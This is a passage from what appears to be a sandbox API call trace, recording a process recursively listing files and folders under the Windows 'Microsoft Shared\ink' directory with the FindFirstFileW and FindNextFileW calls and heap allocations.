ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0069.777] GetProcessHeap () returned 0x550000 [0069.777] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.778] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.778] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.779] GetProcessHeap () returned 0x550000 [0069.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.779] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0069.779] GetProcessHeap () returned 0x550000 [0069.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0070.314] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.853] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0070.853] GetProcessHeap () returned 0x550000 [0070.853] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0071.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.021] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.022] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0071.022] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0071.022] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.022] GetProcessHeap () returned 0x550000 [0071.022] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0071.022] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0071.022] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0071.023] GetProcessHeap () returned 0x550000 [0071.023] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0071.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.023] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.023] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0071.023] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0071.024] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0071.024] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0071.024] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.024] GetProcessHeap () returned 0x550000 [0071.024] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0071.024] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0071.024] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0071.025] GetProcessHeap () returned 0x550000 [0071.025] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0071.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.025] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.025] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0071.025] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0071.026] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0071.026] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0071.026] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0071.026] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0071.026] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0071.027] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0071.028] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0071.028] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.028] GetProcessHeap () returned 0x550000 [0071.028] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0071.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0071.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0071.029] GetProcessHeap () returned 0x550000 [0071.029] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0071.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 